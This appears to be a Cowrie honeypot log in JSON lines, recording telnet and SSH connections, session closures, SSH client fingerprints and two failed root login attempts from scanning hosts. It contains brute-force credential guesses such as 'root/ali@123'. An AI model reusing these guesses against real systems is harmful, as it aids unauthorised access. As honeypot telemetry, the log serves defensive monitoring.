{"eventid":"cowrie.session.closed","duration":30.62569260597229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:55.152350Z","src_ip":"103.249.100.206","session":"acf007dbc010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":55088,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dfa4369c1bf","protocol":"telnet","message":"New connection: 162.241.114.254:55088 (10.17.0.5:23) [session: 7dfa4369c1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:55.249778Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe699ca029d","protocol":"telnet","message":"New connection: 103.249.100.206:38120 (10.17.0.5:23) [session: 0fe699ca029d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:55.346112Z"}
{"eventid":"cowrie.session.closed","duration":32.56103539466858,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:55.698601Z","src_ip":"103.249.100.206","session":"f9e4a079f732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.374329090118408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:56.732097Z","src_ip":"216.238.80.67","session":"3855b0450fb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173250198364258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:56.765009Z","src_ip":"103.249.100.206","session":"109c16020572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924141883850098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:56.787826Z","src_ip":"103.249.100.206","session":"5c8ea2dc0299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365785121917725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:56.940325Z","src_ip":"103.249.100.206","session":"034cf13ad2b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":56036,"dst_ip":"10.17.0.5","dst_port":23,"session":"0562ab0aa8ff","protocol":"telnet","message":"New connection: 162.241.114.254:56036 (10.17.0.5:23) [session: 0562ab0aa8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:57.150505Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":44378,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b5f370c43f","protocol":"telnet","message":"New connection: 103.249.100.206:44378 (10.17.0.5:23) [session: a2b5f370c43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:57.458149Z"}
{"eventid":"cowrie.session.closed","duration":31.199520111083984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:57.852032Z","src_ip":"103.249.100.206","session":"1bb332d5e3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46009659767151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:58.243899Z","src_ip":"162.241.114.254","session":"e654e426a908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58690881729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:58.249502Z","src_ip":"162.241.114.254","session":"978c6630e4fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312751293182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:58.981027Z","src_ip":"103.249.100.206","session":"e3d889d55cf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":61992,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4efe32c3664","protocol":"ssh","message":"New connection: 178.27.90.142:61992 (159.203.135.109:22) [session: e4efe32c3664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:59.923673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:59.929801Z","src_ip":"178.27.90.142","session":"e4efe32c3664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:00.035246Z","src_ip":"178.27.90.142","session":"e4efe32c3664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.819064378738403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:00.318412Z","src_ip":"162.241.114.254","session":"c51a271b830a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60704207420349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:00.407748Z","src_ip":"103.249.100.206","session":"7e475ec1e36b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85359764099121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:00.461121Z","src_ip":"216.238.80.67","session":"cdc6aaf3a028","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali@123","message":"login attempt [root/ali@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:00.475876Z","src_ip":"178.27.90.142","session":"e4efe32c3664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":58198,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c8067df08d1","protocol":"telnet","message":"New connection: 162.241.114.254:58198 (10.17.0.5:23) [session: 1c8067df08d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.003239Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":58212,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e48a7d92fee","protocol":"telnet","message":"New connection: 162.241.114.254:58212 (10.17.0.5:23) [session: 0e48a7d92fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.018077Z"}
{"eventid":"cowrie.session.closed","duration":31.08843469619751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.139493Z","src_ip":"103.249.100.206","session":"91fefd5298d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75070858001709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.323320Z","src_ip":"216.238.80.67","session":"d22c6f82129a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":58370,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e53b77977ff","protocol":"telnet","message":"New connection: 162.241.114.254:58370 (10.17.0.5:23) [session: 8e53b77977ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.367081Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.584541Z","src_ip":"178.27.90.142","session":"e4efe32c3664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":47562,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf15581405c9","protocol":"telnet","message":"New connection: 103.249.100.206:47562 (10.17.0.5:23) [session: bf15581405c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.624118Z"}
{"eventid":"cowrie.session.closed","duration":31.073338985443115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.847376Z","src_ip":"103.249.100.206","session":"8255fde0f708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":58824,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5aa6cbea52","protocol":"ssh","message":"New connection: 102.211.152.138:58824 (159.203.135.109:22) [session: 5f5aa6cbea52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.943028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:01.950662Z","src_ip":"102.211.152.138","session":"5f5aa6cbea52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:02.054700Z","src_ip":"102.211.152.138","session":"5f5aa6cbea52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.138017892837524,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:02.109067Z","src_ip":"103.249.100.206","session":"5597029596dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"bestserver","message":"login attempt [root/bestserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:02.499868Z","src_ip":"102.211.152.138","session":"5f5aa6cbea52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.191707611083984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:02.543138Z","src_ip":"162.241.114.254","session":"9d7618a684c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52138352394104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:03.251693Z","src_ip":"216.238.80.67","session":"bd5cc0611fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:03.606226Z","src_ip":"102.211.152.138","session":"5f5aa6cbea52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cedc3bfda82","protocol":"telnet","message":"New connection: 162.241.114.254:59766 (10.17.0.5:23) [session: 6cedc3bfda82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:04.940633Z"}
{"eventid":"cowrie.session.closed","duration":30.639933347702026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:05.108689Z","src_ip":"216.238.80.67","session":"36c2ef35a22f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43606,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf29760c7c8","protocol":"telnet","message":"New connection: 137.184.155.248:43606 (10.17.0.5:23) [session: edf29760c7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:07.217328Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54720,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2edf6bf72f3","protocol":"telnet","message":"New connection: 103.249.100.206:54720 (10.17.0.5:23) [session: a2edf6bf72f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:07.663091Z"}
{"eventid":"cowrie.session.closed","duration":30.957895040512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:07.921053Z","src_ip":"162.241.114.254","session":"143e75f6f112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352733850479126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:08.991251Z","src_ip":"103.249.100.206","session":"019bed9931c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6117045879364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:09.251437Z","src_ip":"103.249.100.206","session":"ba25759e51fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.948272228240967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:09.837480Z","src_ip":"103.249.100.206","session":"6b3e156d2624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55766248703003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:10.615803Z","src_ip":"162.241.114.254","session":"08bfd6837e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57470,"dst_ip":"10.17.0.5","dst_port":23,"session":"74da6b5b1c52","protocol":"telnet","message":"New connection: 103.249.100.206:57470 (10.17.0.5:23) [session: 74da6b5b1c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:11.749084Z"}
{"eventid":"cowrie.session.closed","duration":31.230546236038208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:12.199949Z","src_ip":"103.249.100.206","session":"f6fa4dd54542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313056468963623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:12.593093Z","src_ip":"103.249.100.206","session":"6d8ce20f8c04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09528136253357,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:12.978478Z","src_ip":"103.249.100.206","session":"9638395e92d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123605012893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:13.264570Z","src_ip":"107.182.235.153","session":"38fe267e3901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.892200231552124,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:14.109400Z","src_ip":"137.184.155.248","session":"edf29760c7c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"1850126d8e17","protocol":"telnet","message":"New connection: 216.238.80.67:56634 (10.17.0.5:23) [session: 1850126d8e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:15.378052Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":37882,"dst_ip":"10.17.0.5","dst_port":23,"session":"24bbab815922","protocol":"telnet","message":"New connection: 162.241.114.254:37882 (10.17.0.5:23) [session: 24bbab815922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:16.091503Z"}
{"eventid":"cowrie.session.closed","duration":30.430524826049805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:16.118492Z","src_ip":"216.238.80.67","session":"3b847219681a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120498418807983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:16.497799Z","src_ip":"216.238.80.67","session":"c2fba0baa73d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910253524780273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:16.760495Z","src_ip":"162.241.114.254","session":"f0736d079df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58228,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20e7cb4fa3b","protocol":"telnet","message":"New connection: 137.184.155.248:58228 (10.17.0.5:23) [session: c20e7cb4fa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:17.653269Z"}
{"eventid":"cowrie.session.closed","duration":31.49628496170044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:17.804327Z","src_ip":"103.249.100.206","session":"f2a940923dd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"177aacba0abb","protocol":"telnet","message":"New connection: 162.241.114.254:40004 (10.17.0.5:23) [session: 177aacba0abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:19.524526Z"}
{"eventid":"cowrie.session.closed","duration":30.575267791748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:20.227805Z","src_ip":"162.241.114.254","session":"1613acd5ae33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599920988082886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:20.300224Z","src_ip":"107.182.235.153","session":"156ceb51b49b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.844553470611572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:20.515455Z","src_ip":"107.182.235.153","session":"fc26e7944786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"2255b7baccab","protocol":"telnet","message":"New connection: 162.241.114.254:40232 (10.17.0.5:23) [session: 2255b7baccab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:20.890133Z"}
{"eventid":"cowrie.session.closed","duration":31.264028072357178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:21.880972Z","src_ip":"103.249.100.206","session":"53c49f7d130b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865044593811035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:23.267442Z","src_ip":"162.241.114.254","session":"2b1e20982d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":42568,"dst_ip":"10.17.0.5","dst_port":23,"session":"db406e6018b8","protocol":"telnet","message":"New connection: 162.241.114.254:42568 (10.17.0.5:23) [session: db406e6018b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:23.749896Z"}
{"eventid":"cowrie.session.closed","duration":31.202969312667847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:24.698353Z","src_ip":"162.241.114.254","session":"92e61d695ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945346117019653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:26.194879Z","src_ip":"162.241.114.254","session":"7dfa4369c1bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.403422355651855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:26.749402Z","src_ip":"103.249.100.206","session":"0fe699ca029d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":44500,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5f51ed1ab4","protocol":"telnet","message":"New connection: 162.241.114.254:44500 (10.17.0.5:23) [session: cf5f51ed1ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:27.338854Z"}
{"eventid":"cowrie.session.closed","duration":31.351159811019897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:28.501692Z","src_ip":"162.241.114.254","session":"0562ab0aa8ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.425690412521362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:28.883719Z","src_ip":"103.249.100.206","session":"a2b5f370c43f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":47566,"dst_ip":"10.17.0.5","dst_port":23,"session":"d058120e51a8","protocol":"telnet","message":"New connection: 103.249.100.206:47566 (10.17.0.5:23) [session: d058120e51a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:28.975147Z"}
{"eventid":"cowrie.session.closed","duration":30.17940068244934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:31.197362Z","src_ip":"162.241.114.254","session":"0e48a7d92fee","protocol":"telnet"}
